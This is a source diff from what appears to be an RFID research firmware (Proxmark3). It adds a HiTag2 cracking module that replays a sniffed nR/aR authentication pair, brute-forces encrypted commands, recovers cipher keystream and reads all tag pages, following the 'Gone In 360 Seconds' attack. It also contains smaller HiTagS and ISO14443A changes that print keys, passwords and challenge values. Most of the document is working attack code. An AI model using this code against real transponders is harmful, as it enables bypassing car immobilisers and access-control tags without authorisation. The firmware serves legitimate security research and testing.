nrarhex) != 32) + { + UserMessage("nR is not 32 bits long\r\n"); + return false; + } + + if (hextobinarray(nrar + 32, spaceptr + 1) != 32) + { + UserMessage("aR is not 32 bits long\r\n"); + return false; + } + + // find a valid encrypted command + if (!hitag2crack_find_valid_e_cmd(e_firstcmd, nrar)) + { + UserMessage("Cannot find a valid encrypted command\r\n"); + return false; + } + + // find the 'read page 0' command and recover key stream + if (!hitag2crack_find_e_page0_cmd(keybits, e_firstcmd, nrar, uid)) + { + UserMessage("Cannot find encrypted 'read page0' command\r\n"); + return false; + } + + // empty the response string + response[0] = 0x00; + + // read all pages using key stream + for (i=0; i<8; i++) + { + if (hitag2crack_read_page(pagehex, i, nrar, keybits)) + { + sprintf(temp, "%1d: %s\r\n", i, pagehex); + } + else + { + sprintf(temp, "%1d:\r\n", i); + } + // add page string to response + strcat(response, temp); + } + + return true; +} + +// hitag2crack_find_valid_e_cmd repeatedly replays the auth protocol each +// with a different sequential encrypted command value in order to find one +// that returns a valid response. +// e_cmd is the returned binarray of the valid encrypted command; +// nrar is the binarray of the 64 bit nR aR pair. +bool hitag2crack_find_valid_e_cmd(uint8_t e_cmd[], uint8_t nrar[]) { + uint8_t guess[10]; + uint8_t responsestr[9]; + +// UserMessage("Finding valid encrypted command:"); + // we're going to hold bits 5, 7, 8 and 9 and brute force the rest + // e.g. x x x x x 0 x 0 0 0 + for (uint8_t a=0; a<2; a++) { + for (uint8_t b=0; b<2; b++) { + for (uint8_t c=0; c<2; c++) { + for (uint8_t d=0; d<2; d++) { + for (uint8_t e=0; e<2; e++) { + for (uint8_t g=0; g<2; g++) { + // build binarray + guess[0] = a; + guess[1] = b; + guess[2] = c; + guess[3] = d; + guess[4] = e; + guess[5] = 0; + guess[6] = g; + guess[7] = 0; + guess[8] = 0; + guess[9] = 0; + + // send guess + if (hitag2crack_send_e_cmd(responsestr, nrar, guess, 10)) { + // check if it was valid + if (strcmp(responsestr, ERROR_RESPONSE) != 0) { + // return the guess as the encrypted command + memcpy(e_cmd, guess, 10); + return true; + } + } else { +#ifdef RFIDLER_DEBUG + UserMessage("hitag2crack_find_valid_e_cmd:\r\n hitag2crack_send_e_cmd failed\r\n"); +#endif + } + UserMessage("."); + } + } + } + } + } + } +// UserMessage("hitag2crack_find_valid_e_cmd:\r\n no valid encrypted command found\r\n"); + return false; +} + +// hitag2crack_find_e_page0_cmd tries all bit-flipped combinations of the +// valid encrypted command and tests the results by attempting an extended +// command version of the command to see if that produces a valid response. +// keybits is the returned binarray of the recovered key stream; +// e_page0cmd is the returned binarray of the encrypted 'read page 0' command; +// e_firstcmd is the binarray of the first valid encrypted command found; +// nrar is the binarray of the 64 bit nR aR pair; +// uid is the binarray of the 32 bit UID. +bool hitag2crack_find_e_page0_cmd(uint8_t keybits[], uint8_t e_firstcmd[], uint8_t nrar[], uint8_t uid[]) { + uint8_t a, b, c, d; + uint8_t guess[10]; + uint8_t responsestr[9]; + uint8_t e_uid[32]; + + UserMessage("Finding 'read page 0' command:"); + // we're going to brute the missing 4 bits of the valid encrypted command + for (a=0; a<2; a++) + { + for (b=0; b<2; b++) + { + for (c=0; c<2; c++) + { + for (d=0; d<2; d++) + { + // create our guess by bit flipping the pattern of bits + // representing the inverted bit and the 3 page bits + // in both the non-inverted and inverted parts of the + // encrypted command. + memcpy(guess, e_firstcmd, 10); + if (a) + { + guess[5] = !guess[5]; + guess[0] = !guess[0]; + } + if (b) + { + guess[7] = !guess[7]; + guess[2] = !guess[2]; + } + if (c) + { + guess[8] = !guess[8]; + guess[3] = !guess[3]; + } + if (d) + { + guess[9] = !guess[9]; + guess[4] = !guess[4]; + } + + // try the guess + if (hitag2crack_send_e_cmd(responsestr, nrar, guess, 10)) + { + // check if it was valid + if (strcmp(responsestr, ERROR_RESPONSE) != 0) + { + // convert response to binarray + hextobinarray(e_uid, responsestr); + // test if the guess was 'read page 0' command + if (hitag2crack_test_e_p0cmd(keybits, nrar, guess, uid, e_uid)) + { + + return true; + } + } + else + { +#ifdef RFIDLER_DEBUG + UserMessage("hitag2crack_find_e_page0_cmd:\r\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\r\n"); +#endif + } + } + else + { + #ifdef RFIDLER_DEBUG + UserMessage("hitag2crack_find_e_page0_cmd:\r\n hitag2crack_send_e_cmd failed\r\n"); +#endif + } + UserMessage("."); + } + } + } + } + UserMessage("hitag2crack_find_e_page0_cmd:\r\n could not find encrypted 'read page 0' command\r\n"); + return false; +} + +// hitag2crack_test_e_p0cmd XORs the message (command + response) with the +// encrypted version to retrieve the key stream. It then uses this key stream +// to encrypt an extended version of the READP0CMD and tests if the response +// is valid. +// keybits is the returned binarray of the key stream; +// nrar is the 64 bit binarray of nR aR pair; +// e_cmd is the binarray of the encrypted command; +// uid is the binarray of the card UID; +// e_uid is the binarray of the encrypted version of the UID. +bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e_cmd, uint8_t *uid, uint8_t *e_uid) { + uint8_t cipherbits[42]; + uint8_t plainbits[42]; + uint8_t ext_cmd[40]; + uint8_t e_ext_cmd[40]; + uint8_t responsestr[9]; + int i; + + // copy encrypted cmd to cipherbits + memcpy(cipherbits, e_cmd, 10); + + // copy encrypted uid to cipherbits + memcpy(cipherbits + 10, e_uid, 32); + + // copy cmd to plainbits + binstringtobinarray(plainbits, READP0CMD); + + // copy uid to plainbits + memcpy(plainbits + 10, uid, 32); + + // xor the plainbits with the cipherbits to get keybits + hitag2crack_xor(keybits, plainbits, cipherbits, 42); + + // create extended cmd -> 4 * READP0CMD = 40 bits + for (i=0; i<4; i++) + { + binstringtobinarray(ext_cmd + (i * 10), READP0CMD); + } + + // xor extended cmd with keybits + hitag2crack_xor(e_ext_cmd, ext_cmd, keybits, 40); + + // send extended encrypted cmd + if (hitag2crack_send_e_cmd(responsestr, nrar, e_ext_cmd, 40)) + { + // test if it was valid + if (strcmp(responsestr, ERROR_RESPONSE) != 0) + { + return true; + } + } + else + { +#ifdef RFIDLER_DEBUG + UserMessage("hitag2crack_test_e_p0cmd:\r\n hitag2crack_send_e_cmd failed\r\n"); +#endif + } + + return false; + +} + +// hitag2crack_xor XORs the source with the pad to produce the target. +// source, target and pad are binarrays of length len. +void hitag2crack_xor(uint8_t *target, uint8_t *source, uint8_t *pad, unsigned int len) { + + for (int i=0; i 7)) + { + UserMessage("hitag2crack_read_page:\r\n invalid pagenum\r\n"); + return false; + } + + // create cmd + binstringtobinarray(cmd, READP0CMD); + if (pagenum & 0x1) + { + cmd[9] = !cmd[9]; + cmd[4] = !cmd[4]; + } + if (pagenum & 0x2) + { + cmd[8] = !cmd[8]; + cmd[3] = !cmd[3]; + } + if (pagenum & 0x4) + { + cmd[7] = !cmd[7]; + cmd[2] = !cmd[2]; + } + + // encrypt command + hitag2crack_xor(e_cmd, cmd, keybits, 10); + + // send encrypted command + if (hitag2crack_send_e_cmd(e_responsestr, nrar, e_cmd, 10)) + { + // check if it is valid + if (strcmp(e_responsestr, ERROR_RESPONSE) != 0) + { + // convert to binarray + hextobinarray(e_response, e_responsestr); + // decrypt response + hitag2crack_xor(response, e_response, keybits + 10, 32); + // convert to hexstring + binarraytohex(responsestr, response, 32); + return true; + } + else + { + UserMessage("hitag2crack_read_page:\r\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\r\n"); + } + } + else + { + UserMessage("hitag2crack_read_page:\r\n hitag2crack_send_e_cmd failed\r\n"); + } + + return false; +} + +// hitag2crack_send_e_cmd replays the auth and sends the given encrypted +// command. +// responsestr is the hexstring of the response to the command; +// nrar is the 64 bit binarray of the nR aR pair; +// cmd is the binarray of the encrypted command to send; +// len is the length of the encrypted command. +bool hitag2crack_send_e_cmd(uint8_t *responsestr, uint8_t *nrar, uint8_t *cmd, int len) { + uint8_t tmp[37]; + uint8_t uid[9]; + uint8_t e_page3str[9]; + int ret = 0; + + // get the UID + if(!hitag2_get_uid(uid)) + { + UserMessage("hitag2crack_send_e_cmd:\r\n cannot get UID\r\n"); + return false; + } + + // START_AUTH kills active crypto session + CryptoActive = false; + + // get the UID again + if(!hitag2_get_uid(uid)) + { + UserMessage("hitag2crack_send_e_cmd:\r\n cannot get UID (2nd time)\r\n"); + return false; + } + + // send nrar and receive (useless) encrypted page 3 value + if (!hitag2crack_tx_rx(e_page3str, nrar, 64, RWD_STATE_WAKING, false)) + { + UserMessage("hitag2crack_send_e_cmd:\r\n tx/rx nrar failed\r\n"); + return false; + } + + // send encrypted command + if (!hitag2crack_tx_rx(responsestr, cmd, len, RWD_STATE_WAKING, false)) + { +#ifdef RFIDLER_DEBUG + UserMessage("hitag2crack_send_e_cmd:\r\n tx/rx cmd failed\r\n"); +#endif + return false; + } + + return true; +} + +// hitag2crack_tx_rx transmits a message and receives a response. +// responsestr is the hexstring of the response; +// msg is the binarray of the message to send; +// state is the RWD state; +// reset indicates whether to reset RWD state after. +bool hitag2crack_tx_rx(uint8_t *responsestr, uint8_t *msg, int len, int state, bool reset) { + uint8_t tmp[37]; + int ret = 0; + + // START_AUTH kills active crypto session + CryptoActive= false; + + if(!rwd_send(msg, len, reset, BLOCK, state, RFIDlerConfig.FrameClock, 0, RFIDlerConfig.RWD_Wait_Switch_RX_TX, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX)) + { + UserMessage("hitag2crack_tx_rx: rwd_send failed\r\n"); + return false; + } + + // skip 1/2 bit to synchronise manchester + HW_Skip_Bits = 1; + ret = read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, 37, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY); + + // check if response was a valid length (5 sync bits + 32 bits response) + if (ret == 37) + { + // check sync bits + if (memcmp(tmp, Hitag2Sync, 5) != 0) + { + UserMessage("hitag2crack_tx_rx: no sync\r\n"); + return false; + } + + // convert response to hexstring + binarraytohex(responsestr, tmp + 5, 32); + return true; + } + else + { +#ifdef RFIDLER_DEBUG + UserMessage("hitag2crack_tx_rx: wrong rx len\r\n"); +#endif + return false; + } + return false; +} + + +bool hitag2crack_rng_init(uint8_t *response, uint8_t *input) { + uint64_t sharedkey; + uint32_t serialnum; + uint32_t initvector; + uint8_t *spaceptr; + uint8_t *dataptr; + + // extract vals from input + dataptr = input; + spaceptr = strchr(dataptr, ' '); + if (!spaceptr) + { + UserMessage("/r/nformat is 'sharedkey UID nR' in hex\r\n"); + return false; + } + + *spaceptr = 0x00; + + if (strlen(dataptr) != 12) + { + UserMessage("/r/nsharedkey should be 48 bits long (12 hexchars)\r\n"); + return false; + } + + sharedkey = rev64(hexreversetoulonglong(dataptr)); + + dataptr = spaceptr+1; + spaceptr = strchr(dataptr, ' '); + if (!spaceptr) + { + UserMessage("/r/nno UID\r\n"); + return false; + } + + *spaceptr = 0x00; + if (strlen(dataptr) != 8) + { + UserMessage("/r/nUID should be 32 bits long (8 hexchars)\r\n"); + return false; + } + + serialnum = rev32(hexreversetoulong(dataptr)); + + dataptr = spaceptr+1; + + if (strlen(dataptr) != 8) + { + UserMessage("/r/nnR should be 32 bits long (8 hexchars)\r\n"); + return false; + } + + initvector = rev32(hexreversetoulong(dataptr)); + + // start up crypto engine + hitag2_init(&Hitag_Crypto_State, sharedkey, serialnum, initvector); + + strcpy(response, "Success\r\n"); + + return true; +} + +bool hitag2crack_decrypt_hex(uint8_t *response, uint8_t *hex) { + uint8_t bin[32]; + uint8_t binhex[9]; + uint8_t binstr[33]; + uint32_t binulong; + + if (strlen(hex) != 8) + { + UserMessage("/r/nhex must be 32bits (8 hex chars)\r\n"); + return false; + } + + binulong = hextoulong(hex); + + ulongtobinarray(bin, hitag2_crypt(binulong, 32), 32); + binarraytobinstring(binstr, bin, 32); + binarraytohex(binhex, bin, 32); +// UserMessage("ar = %s\r\n", binstr); +// UserMessage("arhex = %s\r\n", binhex); + + strcpy(response, binhex); + return true; +} + +bool hitag2crack_decrypt_bin(uint8_t *response, uint8_t *e_binstr) { + uint8_t bin[32]; + uint8_t e_bin[32]; + uint8_t binstr[33]; + uint32_t binulong; + int len; + + len = strlen(e_binstr); + if (len > 32) + { + UserMessage("\r\nbinary string must be <= 32 bits\r\n"); + return false; + } + + binstringtobinarray(e_bin, e_binstr); + binulong = binarraytoulong(e_bin, len); + + ulongtobinarray(bin, hitag2_crypt(binulong, len), len); + binarraytobinstring(binstr, bin, len); + strcpy(response, binstr); + return true; +} + +bool hitag2crack_encrypt_hex(uint8_t *response, uint8_t *hex) { + // XOR pad so encrypt == decrypt :) + return hitag2crack_decrypt_hex(response, hex); +} + +bool hitag2crack_encrypt_bin(uint8_t *response, uint8_t *e_binstr) { + return hitag2crack_decrypt_bin(response, e_binstr); +} + +// hitag2_keystream uses the first crack algorithm described in the paper, +// Gone In 360 Seconds by Verdult, Garcia and Balasch, to retrieve 2048 bits +// of keystream. +// response is a multi-line text response containing the hex of the keystream; +// nrarhex is a string containing hex representations of the 32 bit nR and aR +// values (separated by a space) snooped using SNIFF-PWM. +bool hitag2_keystream(uint8_t *response, uint8_t *nrarhex) { + uint8_t uidhex[9]; + uint8_t uid[32]; + uint8_t nrar[64]; + uint8_t e_firstcmd[10]; + uint8_t e_page0cmd[10]; +// uint8_t keybits[2080]; + uint8_t *keybits = DataBuff; + uint8_t keybitshex[67]; + int kslen; + int ksoffset; + uint8_t pagehex[9]; + uint8_t temp[20]; + int i; + uint8_t *spaceptr = NULL; + +/* + keybits = malloc(2080); + if (!keybits) { + UserMessage("cannot malloc keybits\r\n"); + return false; + } +*/ + + // get uid as hexstring + if(!hitag2_get_uid(uidhex)) + { + UserMessage("Cannot get UID\r\n"); + return false; + } + + // convert uid hexstring to binarray + hextobinarray(uid, uidhex); + + // convert nR and aR hexstrings to binarray + spaceptr = strchr(nrarhex, ' '); + if (!spaceptr) + { + UserMessage("Please supply a valid nR aR pair\r\n"); + return false; + } + *spaceptr = 0x00; + + if (hextobinarray(nrar, nrarhex) != 32) + { + UserMessage("nR is not 32 bits long\r\n"); + return false; + } + + if (hextobinarray(nrar + 32, spaceptr + 1) != 32) + { + UserMessage("aR is not 32 bits long\r\n"); + return false; + } + + // find a valid encrypted command + if (!hitag2crack_find_valid_e_cmd(e_firstcmd, nrar)) + { + UserMessage("Cannot find a valid encrypted command\r\n"); + return false; + } + + // find the 'read page 0' command and recover key stream + if (!hitag2crack_find_e_page0_cmd(keybits, e_firstcmd, nrar, uid)) + { + UserMessage("Cannot find encrypted 'read page0' command\r\n"); + return false; + } + + // using the 40 bits of keystream in keybits, sending commands with ever + // increasing lengths to acquire 2048 bits of key stream. + kslen = 40; + + while (kslen < 2048) + { + ksoffset = 0; + if (!hitag2crack_send_auth(nrar)) + { + UserMessage("hitag2crack_send_auth failed\r\n"); + return false; + } + // while we have at least 52 bits of keystream, consume it with + // extended read page 0 commands. 52 = 10 (min command len) + + // 32 (response) + 10 (min command len we'll send) + while ((kslen - ksoffset) >= 52) + { + // consume the keystream, updating ksoffset as we go + if (!hitag2crack_consume_keystream(keybits, kslen, &ksoffset, nrar)) + { + UserMessage("hitag2crack_consume_keystream failed\r\n"); + return false; + } + } + // send an extended command to retrieve more keystream, updating kslen + // as we go + if (!hitag2crack_extend_keystream(keybits, &kslen, ksoffset, nrar, uid)) + { + UserMessage("hitag2crack_extend_keystream failed\r\n"); + return false; + } + UserMessage("Recovered %d bits of keystream\r\n", kslen); + + } + + for (i=0; i<2048; i+=256) + { + binarraytohex(keybitshex, keybits + i, 256); + UserMessage("%s\r\n", keybitshex); + } + + response[0] = 0x00; + + return true; +} + +// hitag2crack_send_auth replays the auth and returns. +// nrar is the 64 bit binarray of the nR aR pair; +bool hitag2crack_send_auth(uint8_t *nrar) { + uint8_t uid[9]; + uint8_t e_page3str[9]; + + // get the UID + if(!hitag2_get_uid(uid)) + { + UserMessage("hitag2crack_send_auth:\r\n cannot get UID\r\n"); + return false; + } + + // START_AUTH kills active crypto session + CryptoActive = false; + + // get the UID again + if(!hitag2_get_uid(uid)) + { + UserMessage("hitag2crack_send_auth:\r\n cannot get UID (2nd time)\r\n"); + return false; + } + + // send nrar and receive (useless) encrypted page 3 value + if (!hitag2crack_tx_rx(e_page3str, nrar, 64, RWD_STATE_WAKING, false)) + { + UserMessage("hitag2crack_send_auth:\r\n tx/rx nrar failed\r\n"); + return false; + } + return true; +} + +// hitag2crack_consume_keystream sends an extended command (up to 510 bits in +// length) to consume keystream. +// keybits is the binarray of keystream bits; +// kslen is the length of keystream; +// ksoffset is a pointer to the current keystream offset (updated by this fn); +// nrar is the 64 bit binarray of the nR aR pair. +bool hitag2crack_consume_keystream(uint8_t *keybits, int kslen, int *ksoffset, uint8_t *nrar) { + int conlen; + int numcmds; + int i; + uint8_t ext_cmd[510]; + uint8_t e_ext_cmd[510]; + uint8_t responsestr[9]; + + // calculate the length of keybits to consume with the extended command. + // 42 = 32 bit response + 10 bit command reserved for next command. conlen + // cannot be longer than 510 bits to fit into the small RWD buffer. + conlen = kslen - *ksoffset - 42; + if (conlen < 10) + { + UserMessage("hitag2crack_consume_keystream:\r\n conlen < 10\r\n"); + return false; + } + + // sanitise conlen + if (conlen > 510) + { + conlen = 510; + } + + // calculate how many repeated commands to send in this extended command. + numcmds = conlen / 10; + + // build extended command + for (i=0; i, Aug 2018 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Definitions hitag2 attack functions +//----------------------------------------------------------------------------- + +bool hitag2_crack(uint8_t *response, uint8_t *nrarhex); +bool hitag2crack_find_valid_e_cmd(uint8_t e_cmd[], uint8_t nrar[]); +bool hitag2crack_find_e_page0_cmd(uint8_t keybits[], uint8_t e_firstcmd[], uint8_t nrar[], uint8_t uid[]); +bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e_cmd, uint8_t *uid, uint8_t *e_uid); +void hitag2crack_xor(uint8_t *target, uint8_t *source, uint8_t *pad, unsigned int len); +bool hitag2crack_read_page(uint8_t *responsestr, uint8_t pagenum, uint8_t *nrar, uint8_t *keybits); +bool hitag2crack_send_e_cmd(uint8_t *responsestr, uint8_t *nrar, uint8_t *cmd, int len); +bool hitag2crack_tx_rx(uint8_t *responsestr, uint8_t *msg, int len, int state, bool reset); + +bool hitag2crack_rng_init(uint8_t *response, uint8_t *input); +bool hitag2crack_decrypt_hex(uint8_t *response, uint8_t *hex); +bool hitag2crack_decrypt_bin(uint8_t *response, uint8_t *hex); +bool hitag2crack_encrypt_hex(uint8_t *response, uint8_t *hex); +bool hitag2crack_encrypt_bin(uint8_t *response, uint8_t *hex); + +bool hitag2_keystream(uint8_t *response, uint8_t *nrarhex); +bool hitag2crack_send_auth(uint8_t *nrar); +bool hitag2crack_consume_keystream(uint8_t *keybits, int kslen, int *ksoffset, uint8_t *nrar); +bool hitag2crack_extend_keystream(uint8_t *keybits, int *kslen, int ksoffset, uint8_t *nrar, uint8_t *uid); + +bool hitag2_reader(uint8_t *response, uint8_t *key, bool interactive); diff --git a/armsrc/hitagS.c b/armsrc/hitagS.c index 7c8a01523..40cdf47ed 100644 --- a/armsrc/hitagS.c +++ b/armsrc/hitagS.c @@ -953,6 +953,13 @@ void SimulateHitagSTag(bool tag_mem_supplied, uint8_t *data) { tag.max_page = 8; if ((tag.pages[1][3] & 0x2) == 0 && (tag.pages[1][3] & 0x1) == 0) tag.max_page = 0; + if (DBGLEVEL >= DBG_EXTENDED) + for (i = 0; i < tag.max_page; i++) + Dbprintf("Page[%2d]: %02X %02X %02X %02X", i, + (tag.pages[i][3]) & 0xff, + (tag.pages[i][2]) & 0xff, + (tag.pages[i][1]) & 0xff, + tag.pages[i][0] & 0xff); //con1 tag.auth = 0; if ((tag.pages[1][2] & 0x80) == 0x80) @@ -1145,7 +1152,7 @@ void ReadHitagS(hitag_function htf, hitag_data *htd) { int reset_sof = 1; int t_wait = HITAG_T_WAIT_MAX; bool bStop = false; - int sendNum = 0; + int pageNum = 0; unsigned char mask = 1; unsigned char crc; unsigned char pageData[32]; @@ -1265,15 +1272,15 @@ void ReadHitagS(hitag_function htf, hitag_data *htd) { tag.tstate = HT_READING_PAGE; txlen = 20; crc = CRC_PRESET; - tx[0] = 0xc0 + (sendNum / 16); + tx[0] = 0xc0 + (pageNum / 16); calc_crc(&crc, tx[0], 8); - calc_crc(&crc, 0x00 + ((sendNum % 16) * 16), 4); - tx[1] = 0x00 + ((sendNum % 16) * 16) + (crc / 16); + calc_crc(&crc, 0x00 + ((pageNum % 16) * 16), 4); + tx[1] = 0x00 + ((pageNum % 16) * 16) + (crc / 16); tx[2] = 0x00 + (crc % 16) * 16; } else if (tag.pstate == HT_SELECTED && tag.tstate == HT_READING_PAGE && rxlen > 0) { - //save received data + //save received data - 40 bits z = 0; for (i = 0; i < 5; i++) { for (j = 0; j < 8; j++) { @@ -1284,38 +1291,38 @@ void ReadHitagS(hitag_function htf, hitag_data *htd) { } } k = 0; - for (i = 4; i < 36; i++) { + for (i = 4; i < 36; i++) { // ignore first 4 bits: SOF (actualy 1 or 6 depending on response protocol) pageData[k] = response_bit[i]; k++; } - for (i = 0; i < 4; i++) - tag.pages[sendNum / 4][sendNum % 4] = 0x0; - for (i = 0; i < 4; i++) { - tag.pages[sendNum / 4][sendNum % 4] += ((pageData[i * 8] << 7) - | (pageData[1 + (i * 8)] << 6) - | (pageData[2 + (i * 8)] << 5) - | (pageData[3 + (i * 8)] << 4) - | (pageData[4 + (i * 8)] << 3) - | (pageData[5 + (i * 8)] << 2) - | (pageData[6 + (i * 8)] << 1) | pageData[7 + (i * 8)]) - << (i * 8); + for (i = 0; i < 4; i++) // set page bytes to 0 + tag.pages[pageNum][i] = 0x0; + for (i = 0; i < 4; i++) { // set page bytes from recieved bits + tag.pages[pageNum][i] += ((pageData[i * 8] << 7) + | (pageData[1 + (i * 8)] << 6) + | (pageData[2 + (i * 8)] << 5) + | (pageData[3 + (i * 8)] << 4) + | (pageData[4 + (i * 8)] << 3) + | (pageData[5 + (i * 8)] << 2) + | (pageData[6 + (i * 8)] << 1) + | pageData[7 + (i * 8)]); } - if (tag.auth && tag.LKP && sendNum == 1) { - Dbprintf("Page[%2d]: %02X %02X %02X %02X", sendNum, pwdh0, - (tag.pages[sendNum / 4][sendNum % 4] >> 16) & 0xff, - (tag.pages[sendNum / 4][sendNum % 4] >> 8) & 0xff, - tag.pages[sendNum / 4][sendNum % 4] & 0xff); + if (tag.auth && tag.LKP && pageNum == 1) { + Dbprintf("Page[%2d]: %02X %02X %02X %02X", pageNum, pwdh0, + (tag.pages[pageNum][2]) & 0xff, + (tag.pages[pageNum][1]) & 0xff, + tag.pages[pageNum][0] & 0xff); } else { - Dbprintf("Page[%2d]: %02X %02X %02X %02X", sendNum, - (tag.pages[sendNum / 4][sendNum % 4] >> 24) & 0xff, - (tag.pages[sendNum / 4][sendNum % 4] >> 16) & 0xff, - (tag.pages[sendNum / 4][sendNum % 4] >> 8) & 0xff, - tag.pages[sendNum / 4][sendNum % 4] & 0xff); + Dbprintf("Page[%2d]: %02X %02X %02X %02X", pageNum, + (tag.pages[pageNum][3]) & 0xff, + (tag.pages[pageNum][2]) & 0xff, + (tag.pages[pageNum][1]) & 0xff, + tag.pages[pageNum][0] & 0xff); } - sendNum++; + pageNum++; //display key and password if possible - if (sendNum == 2 && tag.auth == 1 && tag.LKP) { + if (pageNum == 2 && tag.auth == 1 && tag.LKP) { if (htf == RHTSF_KEY) { Dbprintf("Page[ 2]: %02X %02X %02X %02X", (uint8_t)(key >> 8) & 0xff, @@ -1334,16 +1341,18 @@ void ReadHitagS(hitag_function htf, hitag_data *htd) { Dbprintf("Page[ 2]: __ __ __ __"); Dbprintf("Page[ 3]: __ __ __ __"); } + // since page 2+3 are not accessible when LKP == 1 and AUT == 1 fastforward to next readable page + pageNum = 4; } txlen = 20; crc = CRC_PRESET; - tx[0] = 0xc0 + (sendNum / 16); + tx[0] = 0xc0 + (pageNum / 16); calc_crc(&crc, tx[0], 8); - calc_crc(&crc, 0x00 + ((sendNum % 16) * 16), 4); - tx[1] = 0x00 + ((sendNum % 16) * 16) + (crc / 16); + calc_crc(&crc, 0x00 + ((pageNum % 16) * 16), 4); + tx[1] = 0x00 + ((pageNum % 16) * 16) + (crc / 16); tx[2] = 0x00 + (crc % 16) * 16; - if (sendNum >= tag.max_page) { + if (pageNum >= tag.max_page) { bStop = !false; } } @@ -1943,6 +1952,11 @@ void check_challenges(bool file_given, uint8_t *data) { u1++; } else if (STATE == 2 && rxlen >= 44) { + Dbprintf("Challenge success: %02X%02X%02X%02X %02X%02X%02X%02X", + unlocker[u1 - 1][0], unlocker[u1 - 1][1], + unlocker[u1 - 1][2], unlocker[u1 - 1][3], + unlocker[u1 - 1][4], unlocker[u1 - 1][5], + unlocker[u1 - 1][6], unlocker[u1 - 1][7]); STATE = 0; } diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index 38eb2ecb6..abfe07f10 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -552,8 +552,6 @@ RAMFUNC int ManchesterDecoding_Thinfilm(uint8_t bit) { return false; // not finished yet, need more data } - - //============================================================================= // Finally, a `sniffer' for ISO 14443 Type A // Both sides of communication! @@ -717,6 +715,8 @@ void RAMFUNC SniffIso14443a(uint8_t param) { } } // end main loop + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_ERROR) { Dbprintf("maxDataLen=%d, Uart.state=%x, Uart.len=%d", maxDataLen, Uart.state, Uart.len); Dbprintf("traceLen=" _YELLOW_("%d")", Uart.output[0]="_YELLOW_("%08x"), BigBuf_get_traceLen(), (uint32_t)Uart.output[0]); @@ -1669,9 +1669,6 @@ static void TransmitFor14443a(const uint8_t *cmd, uint16_t len, uint32_t *timing LastTimeProxToAirStart = ThisTransferTime; } - // clear TXRDY - AT91C_BASE_SSC->SSC_THR = SEC_Y; - uint16_t c = 0; while (c < len) { if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { @@ -1790,7 +1787,13 @@ int EmGetCmd(uint8_t *received, uint16_t *len, uint8_t *par) { ADC_MODE_PRESCALE(63) | ADC_MODE_STARTUP_TIME(1) | ADC_MODE_SAMPLE_HOLD_TIME(15); + +#if defined RDV4 + AT91C_BASE_ADC->ADC_CHER = ADC_CHANNEL(ADC_CHAN_HF_RDV40); +#else AT91C_BASE_ADC->ADC_CHER = ADC_CHANNEL(ADC_CHAN_HF); +#endif + // start ADC AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START; @@ -1814,12 +1817,19 @@ int EmGetCmd(uint8_t *received, uint16_t *len, uint8_t *par) { ++check; // test if the field exists - if (AT91C_BASE_ADC->ADC_SR & ADC_END_OF_CONVERSION(ADC_CHAN_HF)) { +#if defined RDV4 + if (AT91C_BASE_ADC->ADC_SR & ADC_END_OF_CONVERSION(ADC_CHAN_HF_RDV40)) { + analogCnt++; - analogAVG += AT91C_BASE_ADC->ADC_CDR[ADC_CHAN_HF]; + + analogAVG += AT91C_BASE_ADC->ADC_CDR[ADC_CHAN_HF_RDV40]; + AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START; + if (analogCnt >= 32) { + if ((MAX_ADC_HF_VOLTAGE_RDV40 * (analogAVG / analogCnt) >> 10) < MF_MINFIELDV) { + if (timer == 0) { timer = GetTickCount(); } else { @@ -1835,6 +1845,35 @@ int EmGetCmd(uint8_t *received, uint16_t *len, uint8_t *par) { analogAVG = 0; } } +#else + if (AT91C_BASE_ADC->ADC_SR & ADC_END_OF_CONVERSION(ADC_CHAN_HF)) { + + analogCnt++; + + analogAVG += AT91C_BASE_ADC->ADC_CDR[ADC_CHAN_HF]; + + AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START; + + if (analogCnt >= 32) { + + if ((MAX_ADC_HF_VOLTAGE * (analogAVG / analogCnt) >> 10) < MF_MINFIELDV) { + + if (timer == 0) { + timer = GetTickCount(); + } else { + // 50ms no field --> card to idle state + if (GetTickCountDelta(timer) > 50) { + return 2; + } + } + } else { + timer = 0; + } + analogCnt = 0; + analogAVG = 0; + } + } +#endif // receive and test the miller decoding if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { @@ -2649,6 +2688,8 @@ void ReaderIso14443a(PacketCommandNG *c) { if (!(param & ISO14A_NO_SELECT)) { iso14a_card_select_t *card = (iso14a_card_select_t *)buf; arg0 = iso14443a_select_card(NULL, card, NULL, true, 0, param & ISO14A_NO_RATS); + FpgaDisableTracing(); + reply_mix(CMD_ACK, arg0, card->uidlen, 0, buf, sizeof(iso14a_card_select_t)); if (arg0 == 0) goto OUT; @@ -2661,6 +2702,8 @@ void ReaderIso14443a(PacketCommandNG *c) { if ((param & ISO14A_APDU)) { uint8_t res; arg0 = iso14_apdu(cmd, len, (param & ISO14A_SEND_CHAINING), buf, &res); + FpgaDisableTracing(); + reply_old(CMD_ACK, arg0, res, 0, buf, sizeof(buf)); } @@ -2705,6 +2748,8 @@ void ReaderIso14443a(PacketCommandNG *c) { } } arg0 = ReaderReceive(buf, par); + FpgaDisableTracing(); + reply_old(CMD_ACK, arg0, 0, 0, buf, sizeof(buf)); } @@ -3016,6 +3061,8 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) { if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Number of sent auth requests: %u", i); + FpgaDisableTracing(); + struct { int32_t isOK; uint8_t cuid[4]; @@ -3273,6 +3320,7 @@ void DetectNACKbug(void) { // num_nacks = number of 